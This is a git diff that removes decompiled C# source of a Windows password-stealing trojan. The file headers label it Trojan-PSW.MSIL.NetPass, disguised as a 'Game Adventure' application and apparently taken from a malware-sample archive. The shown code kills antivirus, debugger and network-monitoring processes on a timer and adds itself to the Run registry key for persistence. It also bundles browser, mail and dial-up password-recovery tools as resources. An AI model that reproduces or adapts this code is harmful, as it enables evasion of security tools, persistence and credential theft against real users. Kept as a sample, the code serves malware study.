case 31:
|
||||
case 32:
|
||||
goto label_28;
|
||||
case 29:
|
||||
goto label_26;
|
||||
case 30:
|
||||
goto label_27;
|
||||
case 33:
|
||||
goto label_29;
|
||||
case 34:
|
||||
case 35:
|
||||
goto label_30;
|
||||
case 36:
|
||||
goto label_31;
|
||||
case 37:
|
||||
goto label_32;
|
||||
case 38:
|
||||
goto label_33;
|
||||
case 39:
|
||||
goto label_34;
|
||||
case 40:
|
||||
goto label_35;
|
||||
case 41:
|
||||
goto label_36;
|
||||
case 42:
|
||||
goto label_37;
|
||||
case 43:
|
||||
goto label_38;
|
||||
case 44:
|
||||
goto label_39;
|
||||
case 45:
|
||||
goto label_40;
|
||||
case 46:
|
||||
goto label_41;
|
||||
case 47:
|
||||
goto label_42;
|
||||
case 48:
|
||||
goto label_43;
|
||||
case 49:
|
||||
goto label_44;
|
||||
case 50:
|
||||
goto label_45;
|
||||
case 51:
|
||||
goto label_46;
|
||||
case 52:
|
||||
goto label_47;
|
||||
case 55:
|
||||
goto label_48;
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
label_48:
|
||||
num3 = 55;
|
||||
this.Visible = false;
|
||||
ProjectData.EndApp();
|
||||
goto label_55;
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
goto label_50;
|
||||
}
|
||||
throw ProjectData.CreateProjectError(-2146828237);
|
||||
label_55:
|
||||
if (num2 == 0)
|
||||
return;
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
|
||||
private void Timer3_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.AntiAnubis();
|
||||
this.AntiBitDefender();
|
||||
this.AntiKaspersky();
|
||||
this.AntiKeyscrambler();
|
||||
this.AntiMalwarebytes();
|
||||
this.AntiNOD32();
|
||||
this.AntiNorman();
|
||||
this.AntiOllydbg();
|
||||
this.AntiOutpost();
|
||||
this.AntiWireshark();
|
||||
this.Visible = false;
|
||||
}
|
||||
|
||||
public static void AddStartup(string Name, string Path) => Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(Name, (object) Path, RegistryValueKind.String);
|
||||
|
||||
public void AntiKeyscrambler()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "keyscrambler", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiWireshark()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "wireshark", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiAnubis()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "anubis", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiMalwarebytes()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mbam", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiKaspersky()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avp", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiOllydbg()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ollydbg", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiOutpost()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "outpost", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiNorman()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "npfmsg", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiBitDefender()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "bdagent", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
|
||||
public void AntiNOD32()
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
int num = checked (processes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "egui", false) == 0)
|
||||
processes[index].Kill();
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,48 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.MyApplication
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace GAdvt.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[STAThread]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.MyComputer
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace GAdvt.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,212 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.MyProject
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace GAdvt.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,73 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.MySettings
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace GAdvt.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.MySettingsProperty
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace GAdvt.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
@ -1,56 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: GAdvt.My.Resources.Resources
|
||||
// Assembly: Game Adventure, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 7A3381EE-83DE-439F-8843-82BFEA0FE9F3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.NetPass.ae-109519bb1efb222d16a6264d9c0848300d8f13facd4f09fa011eae7a40c62622.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace GAdvt.My.Resources
|
||||
{
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) GAdvt.My.Resources.Resources.resourceMan, (object) null))
|
||||
GAdvt.My.Resources.Resources.resourceMan = new ResourceManager("GAdvt.Resources", typeof (GAdvt.My.Resources.Resources).Assembly);
|
||||
return GAdvt.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => GAdvt.My.Resources.Resources.resourceCulture;
|
||||
set => GAdvt.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] ChromePass => (byte[]) RuntimeHelpers.GetObjectValue(GAdvt.My.Resources.Resources.ResourceManager.GetObject(nameof (ChromePass), GAdvt.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static byte[] Dialupass => (byte[]) RuntimeHelpers.GetObjectValue(GAdvt.My.Resources.Resources.ResourceManager.GetObject(nameof (Dialupass), GAdvt.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static byte[] iepv => (byte[]) RuntimeHelpers.GetObjectValue(GAdvt.My.Resources.Resources.ResourceManager.GetObject(nameof (iepv), GAdvt.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static byte[] mspass => (byte[]) RuntimeHelpers.GetObjectValue(GAdvt.My.Resources.Resources.ResourceManager.GetObject(nameof (mspass), GAdvt.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static byte[] PasswordFox => (byte[]) RuntimeHelpers.GetObjectValue(GAdvt.My.Resources.Resources.ResourceManager.GetObject(nameof (PasswordFox), GAdvt.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@ -1,53 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
